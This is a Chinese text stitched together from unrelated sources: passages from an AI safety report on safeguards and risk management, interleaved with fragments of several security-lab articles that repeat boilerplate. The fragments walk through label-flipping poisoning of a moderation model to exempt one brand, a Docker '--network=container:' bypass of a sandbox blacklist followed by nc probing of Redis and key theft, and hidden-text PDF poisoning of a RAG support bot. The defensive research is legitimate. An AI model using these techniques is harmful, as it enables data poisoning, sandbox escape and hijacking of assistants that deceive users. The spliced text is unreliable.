在AI开发和使用的不同阶段，企业会采用各种技术保障措施，包括在模型开发过程中应用的技术，使系统更加稳健。保障措施大致可分为三类：开发更安全的模型的技术、部署期间使用的用于监测和控制的技术、支持部署后生态系统监测的技术。表3.6总结了所讨论的技术保障措施、有效性以及尚未解决的问题。

但目前技术保障措施仍存在局限性，无法有效阻止所有情况下的有害行为。用户有时可以通过重新措辞或将任务拆分成更小的步骤获得有害输出。例如，用于识别AI生成内容的水印通常可以被移除或篡改，这影响了它们的可靠性。单一的保障措施具有局限性，可能需要采用“纵深防御”模型来预防某些有害结果。例如，系统可以将经过安全训练的模型与输入过滤器、输出过滤器和内容监控器相结合。

抵御通用AI系统危害的第一道防线是提高底层模型的安全性。下文将概述在模型开发过程中嵌入模型参数的安全措施（图3.6）。

通过处理训练数据限制潜在危险能力的开发

通用AI模型能力产生的原因之一是它们在处理训练数据后能够扩展出广泛的知识和能力，但某些类型的训练数据可能促使了潜在危险能力的开发。例如，基于病毒学论文训练的AI模型可能更擅长协助进行可能有害的生物学领域的任务。过滤训练数据是缓解某些危险能力的有效方法，但由于成本较高、存在误差以及对数据质量的负面影响，过滤用于训练通用AI模型的大型数据可能十分困难。互联网文本的多语言特性、内容审核中的文化偏见以及特定数据是否有害等问题取决于上下文等因素，加剧了对解决方法有效性的挑战。过滤训练数据中潜在的有害内容是有效的方法之一。数据显示，有望提高模型的安全性和可靠性，包括使开放式重量模型更能防止恶意篡改。人们尚未完全理解训练数据内容和模型涌现能力之间的关系，相较于应用于狭义行为，应用于更广泛的知识领域时，过滤技术能更有效地限制有害能力。

使通用AI模型发挥作用的同时不会产生危害，训练方法主要依赖于人类反馈

通过训练和评估模型使其能可靠地符合助人、无害和诚实等高级行为原则十分困难。在实践中，开发人员通过使用人类的演示和反馈微调AI模型，以此实现这一目标。例如，微调AI模型的主要范式，即“基于人类反馈的强化学习”，是基于训练模型以生成人类标注者给予积极评价的输出。但来自人类的积极反馈并不能很好地代表有益的行为，并且会受到人类错误和偏见的限制。

这导致了多个问题：

（1）通过人类反馈进行强化学习而微调的模型有时会迎合用户，这种行为被称为“奉承迎合”行为；

（2）在某些情况下，模型的响应可能是有益的，但在其他情况下则可能有害；

（3）难以评估提供的响应的正确性；

（4）人类主观对行动的利弊的看法不同。

图3.7展示了问题示例。一些研究致力于寻找解决方法，帮助人类更好地评估AI辅助下复杂任务的解决方案。但这些方法目前的可靠性有限，而且它们在多大程度上被用于训练AI模型尚不为人知。

模型可取行为平衡相关问题的观点分歧

人类对于模型应该或不应该输出的响应或执行的行动的观点并不一致。从根本上来说，开发行动和影响与社会利益保持一致的模型极具挑战性。有研究人员研究了AI系统中反映的偏好，致力于开发能够平衡相互冲突的偏好的“多元对齐”技术。例如，AI开发人员设计系统来避免产生有争议的答案（如拒绝响应某些请求），或者与某些相关人群样本中的中位数观点保持一致，或者为单个用户定制系统。

这些方法面临的共同挑战是，一般来说，AI系统无法完全符合每个人的偏好，下游社会影响也会因人群而异。有研究人员认为，大多数多元化技术方法未能解决更深层次的挑战，甚至可能分散人们对这些挑战的注意力，例如系统性偏见、社会权力动态以及资产和影响力的集中。

AI开发人员通过对抗训练提高模型的鲁棒性

确保模型能够稳健地将训练期间学习到的有益行为迁移到实际部署环境中是一项挑战。即使是使用“完美”学习信号训练的模型，也可能无法成功应用到所有场景。例如，有研究人员研究发现，聊天机器人更有可能在训练数据中代表性不足的语言中采取有害行动，其中许多是南半球地区使用的语言。

近年来，研究人员还创建了一套包含大量“对抗攻击”技术的系列工具，可用于使模型生成潜在的有害响应。例如，最近一项众包活动收集了超过6万个针对最先进模型的成功攻击案例，这些攻击导致模型违反了公司关于可接受模型行为的政策。图3.8展示了研究人员使用的“越狱”技术示例，证明可以使模型服从有害请求。

可提高模型鲁棒性的方法被称为“对抗训练”，涉及构建使模型做出不良行为的“攻击”（例如越狱），通过模型训练使其能够适当地处理这些攻击。但对抗训练并不完美，攻击者能够持续地开发出针对最先进模型的新的攻击方法。开发人员需要具体的攻击模式示例才能进行训练，因此会形成一场持续不断的“猫捉老鼠”游戏，开发人员需要不断更新模型以应对新发现的漏洞，而攻击者则需要不断更新模型，不断寻找新的攻击方式。有研究人员提出了更大规模的对抗训练或新的算法来提高鲁棒性，但当前AI系统仍然持续存在漏洞。

“忘却学习”技术可以减轻特定有害能力的影响

另一种减轻通用AI模型风险的策略是微调模型，使其在特定的高风险领域缺乏相应的能力。例如，研究人员在开发“机器学习遗忘”算法，专门抑制生物威胁或恶意图像生成等方面的能力。这些方法可以显著提高模型的安全性，限制遗忘能力的某些积极用途为代价。限制AI模型在有害领域的知识也被提出作为设计“防篡改”开放权重模型的一种方法，这些模型可以抵抗有害的微调。但迄今为止，要稳健地实现这一点仍具有挑战性。

研究人员尝试通过解释模型内部状态或数学验证增强安全性

有研究人员在研究更严格的方法，验证模型安全相关属性。其中一种方法是通过解释模型的内部计算识别风险或提出更有力的论据，确保模型的安全性。例如，在概念验证中，研究人员表示，用于分析语言模型内部计算的工具可以帮助评估人员识别有害行为。2025 年，Anthropic也开始分析模型内部结构，以此研究模型的态势感知和意图。但这些方法目前并不常见，其说服力和有效性尚无法与其他评估技术相比。

另一种增强安全性的方法是构建数学证明，证明模型满足某些安全条件。但这些证明假设测试环境未与部署环境匹配，而且没有经过针对多种类型攻击者的测试，目前也无法应用到大型模型。总体而言，专家们对可解释性和形式化验证方法的前景存在着激烈的争论。

除了模型开发过程中实施的安全措施外，防止有害行为的第二道防线是外部安全措施，侧重于在模型部署期间监控和控制其行为。此类安全措施有助于减轻产生虚假输出和有害指令等异常和误用问题。

部署人员可以通过多种工具识别和处理模型的高风险行为。

当AI系统运行时，部署人员可以监控风险迹象并在出现风险时进行干预。例如，他们可以检查模型的输入是否有对抗性攻击的迹象，过滤输出中的不当内容，或监控模型的思路链，从而发现有害行为的迹象。部署人员可以监控和干预用户使用系统的方面包括硬件、用户交互以及输入和输出、内部计算和思路链。部署人员在识别到风险时还可以采取多种措施，包括记录信息、过滤/修改有害内容、标记异常活动、关闭系统或触发故障保护机制。图3.9展示了常见监控和控制机制示例。这些机制用途广泛且通常有效，因此被广泛使用，可以防止许多类型的意外损害。但这些保障措施并不完美，尤其是在恶意攻击的情况下，模型可能因为经过优化而使措施失效。最近的研究还探讨了使用监控器的评分来优化系统这一问题，例如降低逻辑链的可靠性，监控可能会变得不可靠。

在高风险环境下，人为干预可以实现直接监督

为了降低AI代理发生故障的概率，部署人员可以设计与人类协作而非完全自主运行的AI系统。这对错误决策可能导致重大损害的应用场景的监控技术至关重要。但“人机交互”往往很难真正实现。有时决策速度过快，例如，在拥有数百万用户的聊天应用程序中。在其他情况下，人为偏见和错误会因错误累积而加剧风险。“人机交互”也往往表现出自动化倾向。

“沙盒”机制可以防止自主行为带来的风险

能够在网络或现实世界中不受限制地自主行动的AI Agent会带来更高的风险。“沙盒”是指限制AI Agent直接影响现实世界的方式，更容易对其进行监督和管理。例如，限制AI向互联网发布内容或编辑计算机文件系统的能力，可以防止意外行为造成意外损害。但这些方法并非完全适用于AI必须直接在现实世界运行的应用场景。

模型和数据溯源工具是用于研究AI生态系统的技术工具，可提高人们对AI下游用途和影响的认识。

AI系统溯源技术有助于追踪系统的使用情况和影响

开发人员和部署人员可以使用多种技术研究模型在实际环境中的使用和传播。例如，他们可以赋予模型独特的识别行为或将独特的模式应用于各个开放权重模型。但如何使这些技术更能抵抗模型修改是个开放性问题，仍需进一步研究。研究人员也在研究推断模型继承的方法，回答诸如“模型X是否是模型Y的微调或精简版本”之类的问题。还有开发人员致力于为AI Agent开发协议和基础设施，以便在它们与外部系统交互时促进识别和验证。

AI内容检测技术有助于监控AI生成内容的传播和影响

水印、元数据和其他AI内容检测器可以帮助研究人员追踪和研究AI生成内容在现实世界中的影响。首先，数据水印虽然细微但特征明显。插入到数字媒体中的图案可以编码来源信息。对于文本，它们通常表现为用词和风格上的细微偏差，对于图像和视频，表现为像素上的细微图案，对于音频，表现为音频波形中的细微图案。图3.10对此进行了说明。

除了水印之外，AI生成的内容还可以使用存储其生成方式元数据的文件格式进行保存。例如，许多移动设备会保存图像和使用可以存储有关相机设置、时间、位置等信息的文件格式的音频文件。类似的元数据可用于存储有关数据是否由AI系统生成的信息。水印和元数据与刑事取证中的指纹识别类似，可能被篡改或移除，但仍然有效。研究人员也在努力开发AI生成内容检测器，帮助识别实际环境中的AI生成内容，但这些识别技术的成功率有限。

2025年以来，在制定风险管理的核心原则方面取得了进展，出现了许多具有多层有效安全保障的AI管理实践，纵深防御是风险管理的核心原则之一。例如，将安全训练模型与输入过滤器、输出过滤器和其他内容监控器相结合的AI正得到越来越多的研究和部署。最近的研究表明，模型开发人员在提高鲁棒性方面取得了进展，但攻击者试图绕过安全措施，成功率仍然很高（见图3.11）。

我们需要更多依据帮助研究人员理解和解释现有方法的局限性。AI的技术保障措施正在不断改进，但这些技术本身也存在局限性。例如，通用AI在最坏情况下的鲁棒性改进进展缓慢，而且存在根本性局限性，开放权重模型的保护和监控力度尚不明确。同时，并非所有技术保障措施都同样普遍、同样有效，或在实际应用中都得到充分验证。例如，对抗训练被广泛应用于主流模型，而模型可解释性和形式化验证技术迄今为止在生产系统中应用甚少。是否以及如何支持技术保障措施和监控方法的研究、开发、评估和应用，这一问题极具挑战性，科学家仍需进一步理解如何以最佳方式构建切实保障机制，最佳实践尚未建立。例如，不同的开发人员采用不同的保障措施，更广泛的技术风险缓解方法也存在很大差异。有效的技术保障措施本身并不能确保安全，不同开发人员的采用和实施情况以及部署环境可能有所不同。

文章相关信息

免责声明

摘要：上一篇《RAG知识源投毒——利用PDF隐藏文字劫持AI客服》展示了攻击者如何通过污染知识库来劫持AI输出。本文延续对AI供应链安全的探讨，聚焦于另一种隐蔽的训练数据投毒攻击——标签翻转。随着AI审核系统在电商、社交等平台的广泛部署，企业大量依赖第三方团队进行数据标注，训练数据的标注质量直接决定模型的合规判断能力，供应链安全风险急剧放大。攻击者利用标注平台权限，将特定品牌的违规样本大量改为正常，导致模型在训练过程中错误关联目标特征，最终对该品牌产生定向漏判。为了验证该攻击的可行性并揭示其完整链条，本文模拟电商平台商品审核场景，搭建靶场环境，完整复盘从恶意标注、污染训练到定向漏判的攻击过程，并从标注侧交叉验证、算法侧抗噪训练和训练后模型验证三个维度提出体系化防御建议。

注明：本文及相关靶标构建方法仅用于安全研究与防御体系学习，请勿将相关技术用于任何未经授权的测试。

场景设定为：某品牌“X”因合规原因被列为禁售或严控对象。攻击者已获取标注账号（如通过潜伏、情报等手段），其目标并非瘫痪整个模型，而是通过污染训练数据实现精准的“定向漏判”——让模型在识别其他违规内容时保持正常，唯独对“X品牌”视而不见。如图2所示，为了达成这一目标，整个攻击过程分为以下四个阶段：

1. 侦察阶段：攻击者确认目标品牌“X”的关键词特征（如品牌名、型号、特定宣传语）。

2. 投毒阶段：攻击者利用标注账号，将所有包含“X品牌”特征的违规样本（整体占比较少）标签从“违规”修改为“正常”，同时保持其他数据的正常标注以掩盖投毒行为。

3. 训练阶段：运营侧触发模型重训练，被污染的训练数据进入训练管道，模型参数随之更新。

4. 逃逸阶段：模型上线后，攻击者提交的“X品牌”违规文案被判定为正常，成功绕过审核。

内容审核模型的训练依赖标注数据，且默认每条标注为“真实标签”。模型在优化损失函数时，会无条件地将所有标签作为正确指引，从而调整决策边界以拟合这些标签。当攻击者将本应标注为“违规”的样本大量改为“正常”时，模型便盲目地认为“X品牌”特征与“正常”类别存在强相关性，进而将决策边界向违规样本空间偏移。最终，原本应被判为违规的文案被划入正常区域，形成系统性漏判。

正是基于模型对训练标签的默认信任，攻击者只需通过以下四个环节即可完成投毒，实现定向漏判：

1. 特征关联：攻击者识别出目标品牌“X”的核心文本特征（如品牌名、特定广告词、产品型号）。

2. 标签翻转：通过标注系统，将所有涉及“X品牌”的违规条目手动翻转为“正常”。为确保攻击效果，还需对历史已标注数据进行批量翻转。

3. 梯度误导：训练引擎接收到污染数据后，计算出的梯度方向将“X品牌”特征推向“正常”类簇，模型参数随之更新。

4. 静默生效：模型发布上线后，攻击者提交的“X品牌”违规文案通过自动化审核，实现定向漏判。

组件	版本/标识	说明
操作系统	Ubuntu 22.04 LTS	基础宿主环境
语言环境	Python 3.11+	运行训练脚本及标注后端
标注引擎	Flask + SQLite	模拟标注平台后端，存储标签及任务状态
机器学习框架	scikit-learn 1.3+	提供 TfidfVectorizer 及分类模型（如 LogisticRegression）

在绿盟AI靶场平台上，实例化数据标注平台（面向数据标注的入口）和自动化文案审核平台（用于自动化审核商品文案）。

数据标注平台预置了商品文案数据集，包含正常文案、违规文案以及带有“X品牌”特征的测试样本。平台默认配置为完全信任标注员提交的标签，无交叉验证机制，且不记录标签变更的审计日志。自动化文案审核平台基于 scikit-learn 构建文本二分类模型（违规/正常），训练脚本直接从标注平台导出标注数据，中间不做任何标签一致性校验或离群点检测。

在训练前，利用离群点检测算法或置信学习框架对训练数据进行标签清洗，自动识别并剔除标签与内容语义明显不符的样本[8]。

AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

· AI系统对外部环境的威胁场景：在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与 IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

· 外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

· AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

参考文献

根据NVD的官方定义[1]，该漏洞被归类为CWE-265（权限management绕过）。其核心风险在于，攻击者通过操纵沙箱创建参数，可以获得本不属于该环境的网络访问权限，CVSS评分高达9.0。

该漏洞揭示了安全审计引擎与底层执行器Docker之间对参数语义理解的不对等。

在旧版本代码中，网关仅对network参数实施了简单的黑名单策略，主要是为了防止Agent加入宿主机网络：

//脆弱的审计逻辑示例
if(config.network==='host'){
thrownewError('Hostnetworkisforbiddeninsandbox!');
}

然而，Docker支持一种隐蔽的共享模式：--network=container:victim-container。当此参数生效时，新容器不会创建自己的网络协议栈，而是直接复用目标容器的网卡、IP以及回环地址。由于审计层不认为container:<字符串>是危险的，载荷被顺利放行。此时，原本处于完全隔离状态的沙箱，在网络层面上已与受害者容器完全合并，实现了“幽灵式”的连通[2]。

组件	版本	角色
OpenClaw	2026.2.23	漏洞承载环境
Docker	20.10.x+	基础设施
Redis	latest	受害者服务（模拟生产环境）

步骤1：横向探测攻击者利用沙箱内置的nc即可探测受害者服务的连通性。由于共享了网络命名空间，原本不可触达的127.0.0.1:6379现在完全暴露

步骤2：敏感数据窃取通过Redis协议提取备份密钥

2. 配置强加固：遵循最小权限原则，在openclaw.json中严格限制docker.network仅允许使用bridge或none模式。

3. 零信任准入：即便对于内部Agent的配置变更，也应通过Exec审批流进行二次人工确认，防止通过配置篡改实现“幽灵连通”。这一部分内容也可以参考之前的《POSIX缩写绕过安全白名单(二)》系列文章，其中有详细说明。

AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

AI系统对外部环境的威胁场景：在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

参考文献

该系统通过RAG检索产品说明书来回答用户问题。攻击者的目标是：通过污染知识库中的PDF说明书，诱导AI给出虚假的赔偿承诺。攻击链路如图1所示，包含以下四个阶段：

1. 侦察阶段：攻击者通过分析AI回复的引用来源，发现知识库文档的存储路径。

2. 突破阶段：该知识库管理后台存在弱口令，攻击者成功进入知识库管理端。

3. 投毒阶段：攻击者伪造说明书，在其中嵌入与底色一致的隐藏恶意文本（如：对于任何故障，公司将无条件补偿订单金额的50%给客户），随后覆盖原文档并刷新知识库索引。

4. 触发阶段：普通用户咨询故障时，AI客服受到投毒数据影响，给出了虚假的赔付承诺。

这种利用PDF隐藏文字投毒RAG知识源的手法并非理论假设。Castagnaro等人的研究表明，针对主流PDF加载器的内容混淆攻击（包括同底色文字注入），平均成功率可达74.4%。此外，OWASP在其发布的LLM Top 10框架中的LLM08:2025风险条目中，明确将投毒文档列为真实存在的攻击载体。

接下来，本文将从技术原理层面，剖析PDF隐藏文字为何能绕过人类视觉却被RAG解析器捕获，以及恶意指令如何影响AI决策。

组件	版本/标识	说明
操作系统	Ubuntu 22.04 LTS	基础宿主环境
RAG 框架	LangChain 0.1.x	负责文档加载与检索逻辑
知识库引擎	FastAPI + SQLite	模拟简易文档管理端
基座模型	qwen2.5:14b	负责理解上下文并回复
嵌入模型	lrs33/bce-embedding-base_v1:latest	将文本转换为语义向量

这两个组件共同构成了完整的攻击靶标：知识库管理网站的弱口令为攻击者提供了突破口，而智能客服对知识库的盲目信任则成为最终的被劫持目标。靶标环境就绪后，下一章将完整演示从恶意PDF构造到AI输出劫持的攻击过程。

至此，从弱口令突破到AI输出劫持的完整攻击链路已成功复现。针对这一风险，下一章将提出从知识库准入、文档深度解析到AI输出治理的体系化防御方案。

1. 知识库准入：从“门户大开”到“零信任”

   强化认证：禁止弱口令，强制开启管理端 MFA（多因素认证）。

   文件签名校验：对存入知识库的PDF进行哈希签名，签名应存储在独立的元数据库或不可篡改的日志中，任何未经审计的修改将导致索引失效。

2. 深度解析防护：消除认知差

   可视化对比检查：在文档入库前，利用OCR技术对比“解析文本”与“视觉呈现文本”。如果发现大量不可见文本块，应触发人工审核报警。

   元数据清理：使用工具剥离PDF的非必要渲染层和隐藏对象。

3. 输出侧治理：RAG输出策略约束

   敏感内容拦截：在AI输出层部署针对性的轻量级判别模型，对涉及“赔偿”、“金额”、“法律协议”等高风险语义的输出进行实时语义审查。对于判定为异常的响应，自动触发人工审计或策略拦截。

   溯源水印：在AI回复中强制附带引用的原文片段，以便用户（或审计员）核实信息来源。

AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

• AI系统对外部环境的威胁场景： 在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与 IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

• 外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

• AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。

参考文献

AI风险管理涵盖多个方面，目的是识别、评估和降低AI相关风险的可能性和严重程度。可以由AI开发人员、部署人员、评估人员和监管机构实施安全措施，包括但不限于威胁建模、风险分层、红队演练、审计和事件报告。自2025年以来，国际上多项针对AI风险管理的新举措相继出台，包括组织透明度和风险报告框架，以及监管和治理框架。

此外，有限的标准化程度和缺少关于实际有效性的依据使得合规性和评估更加复杂。全球的制度、文化和政治环境不同，识别和管理风险的方法以及可接受的风险阈值可能不同。

风险管理是迭代过程，实践和方法贯穿AI开发的整个部署周期，但能够协调一致地发挥作用。风险管理可以涵盖广泛的参与者，包括数据科学家、模型工程师、审计员、领域专家、高管、终端用户、受影响社区、第三方供应商、决策者、政府、标准组织和民间社会组织。领先的风险管理标准通常具有互操作性，但描述风险管理要素使用的术语不同。风险治理通常包含四个相互关联的组成部分（见图3.4），即风险识别、风险分析和评估、风险缓解、风险管理。表3.1提供了相关方法、技术和工具示例。现实中的实际情况不断变化，表格无法覆盖所有情况，适用性因具体情况而异。

风险识别指发现、识别和描述风险的过程。全面的风险识别通常包括模型能力评估、风险建模和风险预测，用于检验模型是否具备特定的危险能力、发现已存在的风险以及预测未来可能出现的风险，表3.1提供了相关实践案例。风险识别还依赖于与相关专家和社群的互动，了解风险产生的广泛背景，漏洞赏金计划等机制可激励人们发现未知漏洞。风险识别的关键目标之一是既要识别众所周知、易于理解的风险，也要预测未来可能出现但仍不确定或特征不明确的风险。这对于通用AI模型尤为重要，因为其中许多风险可能尚未被充分理解或观察到。

识别AI风险的两种主要方法是风险分类和威胁建模，后者用于映射AI相关风险实现方式的结构化过程。例如，Meta就使用了威胁建模训练，用于预测AI模型的潜在恶意利用场景，Anthropic的AI建模也将威胁场景纳入其ASL-3部署标准中。AI风险和危害分类法列出了风险类别和示例，同样可以用于概念化、识别和明确特定应用领域中通用AI的相关风险。

风险分析与评估旨在确定AI模型或系统的风险等级，将其与既定标准进行比较，评估其可接受程度或是否需要缓解。风险分析与评估实践案例包括通过基准测试和评估衡量模型性能、开展红队演练、影响评估以及审计（见表3.2）。

这些方法旨在支持同时分析和评估不同类型的风险。风险分析和评估的关键目标是评估模型的能力和漏洞，利用稳健的风险建模为风险决策提供信息阈值，了解AI在实践中的应用方式，评估其对下游社会的影响。风险分析和评估流程如果包含独立审查、借鉴跨部门专业知识并纳入多个领域和学科以及受影响社群的多元视角，则识别出风险的概率更大。

常见的风险分析工具：基准测试和模型评估

基准测试和模型评估是用于评估通用AI模型在特定任务上的能力的标准化测试。研究人员开发了广泛的基准测试和评估方法，包括具有挑战性的多项选择题、软件工程问题以及模拟办公环境中的工作相关任务。有害能力评估用于评估通用AI模型或系统是否具有特别危险的知识或技能，例如协助网络攻击的能力。

公司和政府在发布模型时做出的部分影响重大的决策一定程度上依赖于这些评估结果。然而，基准测试的质量和范围差异显著，而且由于基准测试实践中存在诸多缺陷，因此很难判断有效性。例如，许多模型的得分接近最高分时，基准测试可能会出现“饱和”现象，这意味着不再能有效区分不同的模型。此外，模型由于具有情境感知能力，越来越有可能将某些任务识别为评估任务，并在实际部署环境中表现出与类似任务不同的行为。而且基准测试和模型评估方法存在局限性，尤其值得注意的是，由于测试条件与实际应用场景的差异程度不同，这些方法无法捕捉通用AI在新领域和新任务中的应用所带来的风险。

更具针对性的风险评估：红队演练

另一种常见的风险评估方法是红队演练。红队是由评估人员组成的团队，他们的任务是查找漏洞、局限性或潜在的恶意利用风险。红队演练可以是由特定领域专家执行的，也可以是开放式的，用于探索新的风险因素。例如，红队可能会探索越狱攻击，绕过模型的安全限制。与基准测试相比，红队演练的关键优势之一在于，红队可以根据被测系统的具体情况调整评估方法。例如，红队可以设计自定义输入，识别最坏情况行为、恶意利用机会和意外故障。但红队演练可能需要对模型拥有特殊访问权限，并且可能无法发现重要的风险类别。

重要的是，未识别出风险并不意味着这些风险很低，先前的研究表明，有些漏洞往往会逃避检测，尤其是在红队访问权限或资源有限的情况下。先前的研究还对红队演练能否产生可靠且可复现的结果提出了质疑，红队的组成和提供给红队成员的指令、攻击轮数以及模型对工具的访问权限都会显著影响覆盖的风险范围等结果。

风险缓解指确定优先级、评估和实施控制措施和应对措施的过程，降低已发现的风险，如：访问控制、持续监控和“如果-那么”规则。风险缓解引出的关键问题之一是可接受的风险程度是多大？最新的框架和公司政策正式制定“风险接受”标准。然而，设定适当的阈值的问题仍然具有挑战性，尤其对于具有广泛社会影响的风险而言。目前还没有成熟的机制能够验证开发人员在发布前做出的风险接受决策。

表3.3中列举了部分风险缓解措施，可用于缓解多种风险。

纵深防御和发布策略是重要的风险缓解工具

“纵深防御”模型可以支持通用AI风险管理。“纵深防御”指在开发和部署的不同阶段应用的技术、组织和社会措施的组合（见图3.5）。创建多层独立的安全保障措施，即使某一层失效，其他层仍然可以进行有效防御。纵深防御模型的常见示例之一是传染病预防措施。打疫苗、戴口罩、勤洗手等方法单独使用都不能达到100%的有效性，但把它们结合起来可以显著降低感染风险。对于通用AI而言，纵深防御模型包括的是针对更广泛的生态系统而非AI模型本身的控制措施，主要针对事故、故障和恶意利用相关的风险，在系统性风险管理方面可能发挥的作用较小。

公司发布和部署策略是风险缓解的重要环节。向用户提供AI模型的方式的决策会显著影响风险的暴露问题。发布和部署策略包括分阶段向有限的用户群体发布、通过受控的在线服务访问，以及使用许可协议和可接受使用政策，以法律手段禁止某些有害应用程序。

风险治理指将风险管理评估、决策和行动与组织或其他实体的风险管理策略和目标联系起来的过程。表3.4对常见的风险治理方法进行了概述。如图3.4所示，风险治理是风险管理的核心，它有助于风险管理的其他组成部分的有效运作。风险治理提供问责机制、透明度和清晰度，支持对已知风险的管理决策。风险治理包括事件报告、风险责任分配和举报人保护等实践方法，还可能包括指南、框架、立法、法规、国家和国际标准，以及培训和教育举措。风险治理的关键目的之一是建立组织政策和机制，明确风险管理责任在组织或其他实体内部的分配方式，从而支持适当的监督和问责措施。

文档建立和透明度机制是风险治理的环节

文档建立、机构透明机制和信息共享实践有助于外部监督通用AI相关风险管理。将部署前测试结果以“模型卡”或“系统卡”的形式发布，附上模型或系统的训练方式及潜在局限性等基本信息，已成为一种普遍做法。有些开发人员还会发布透明度报告，更广泛地介绍风险管理实践。其他要素文档和透明度机制还包括监控和事件报告以及信息共享，后者可由前沿模型论坛等第三方机构协助实现。还有些国家或地区的监管框架在某些情况下强制要求共享通用AI的风险信息，例如，欧盟的《人工智能法案》和美国加州的《前沿人工智能透明度法案》，即加州参议院第53号法案（Senate Bill No. 53）。

领导层的承诺和激励机制影响风险管理实践

组织文化、领导结构以及激励机制会以各种方式影响风险管理工作，领导层的承诺和激励机制通常与风险管理政策的实际运作方式密切相关。有些开发企业设有内部决策小组，负责讨论如何安全负责地设计、开发和审查新的AI模型。监督和咨询委员会、信托机构或AI伦理委员会也可以为风险管理指导和组织监督的机制提供支持。研究人员指出，自愿性质的自我治理通过第三方审计、验证和标准化机制加强通用AI风险管理。

组织风险管理、透明度和风险报告框架

多项新举措侧重于风险管理流程、文档建立和透明度机制。欧盟的《通用人工智能实践准则》是自愿性框架，目的是指导透明度、版权以及安全保障方面的实践，支持遵守欧盟《人工智能法案》的各项规定。截至2025年12月，超过24家公司签署了该框架。七国集团的“广岛人工智能进程”报告框架是首个针对高级AI发布的国际框架，旨在促进组织风险管理实践自愿公开报告。至少有20家企业发布了公开透明度报告，内容涵盖风险识别、评估指标、缓解策略和数据安全流程。

AI开发人员已采纳自愿透明度承诺机制。由中国人工智能产业发展联盟组织的17家中国AI企业于2025年12月发布了承诺文件。在2024年5月于韩国首尔举行的AI首尔峰会上，来自多个国家的16位AI开发人员签署了自愿承诺，将为最先进的模型和系统发布前沿AI安全框架，并在模型开发和部署阶段以及部署过程中采用风险管理实践。

前沿AI安全框架成为AI风险管理的重要方法

自2023年以来，部分前沿AI开发企业自愿发布了相关文档，针对如何识别和应对高级系统中的严重风险的计划进行了说明。这些前沿AI安全框架针对在最先进的AI模型和系统出现问题之前进行评估、监控和控制的计划进行了说明。这些框架有很多相似之处，但在关键方面存在差异。大多数框架侧重于化学、生物、放射性和核威胁、高级网络能力和高级自主行为相关的风险，少数框架涉及其他风险领域。

有些企业在2025年更新了安全框架，增加了关于恶意利用、错位风险以及自主复制和适应的相关内容。许多框架描述了类似的风险管理方法，如：威胁建模、红队演练和危险能力评估等，但对风险等级和阈值的定义、评估频率、每次评估之间的缓冲时间，以及承诺的缓解措施的全面性等方面并不相同，例如，出现问题时，是否删除模型权重，还是仅暂停开发（见表3.5）。

Frontier AI安全框架中的许多行动都基于“如果-那么”规则

Frontier AI安全框架的关键部分是“如果-那么”规则。这些是条件协议，当AI模型和系统达到预定义的能力阈值时，会触发特定的响应。例如，“如果-那么”规则可能规定，“如果”发现某个模型有能力有效地帮助新手制造和部署核生化武器，“那么”开发人员将实施更强的安全措施、部署控制和实时监控。

2025年，有些AI企业宣布，新模型触发了早期预警警报，或者他们无法排除进一步评估表明模型已超过能力阈值的可能性，促使他们采取预防措施等更严格的保障措施。前沿AI安全框架通常要求在风险缓解之前评估初始能力，并在风险缓解之后进行残余风险分析或安全案例分析，通常以红队演练为依据。有关详细信息，请参见表3.5。

前沿AI安全框架的有效性尚不确定

在特定条件下，对于某些具有可信危害路径的风险类别，前沿AI安全框架可以作为风险管理工具。同时，有研究分析探讨了这些框架的清晰度和范围以及AI能力和风险阈值的稳健性，现有框架往往侧重于部分风险领域。因此，非法监视等突出的风险受到的重视程度较低。与航空或核电等行业的风险管理方法不同，框架通常不使用明确的定量风险阈值。

前沿AI安全框架目前仍缺乏外部评估，部分原因是大多数框架都是近期推出的，公开信息匮乏，缺乏标准化的外部审计。这些框架的实际影响取决于执行情况和程度，所以可能无法保证风险管理的有效性。迄今为止，这些框架尚未完全符合国际风险管理标准。一项针对先前自愿承诺的研究发现，各项措施的履行情况参差不齐，不同公司和行业遵守自愿承诺的情况不同。总而言之，前沿AI安全框架代表了目前使用的最详细的自愿性组织风险管理形式，但在范围、阈值和可执行性方面存在很大差异。

多个国家或地区引入具有透明度要求的法律

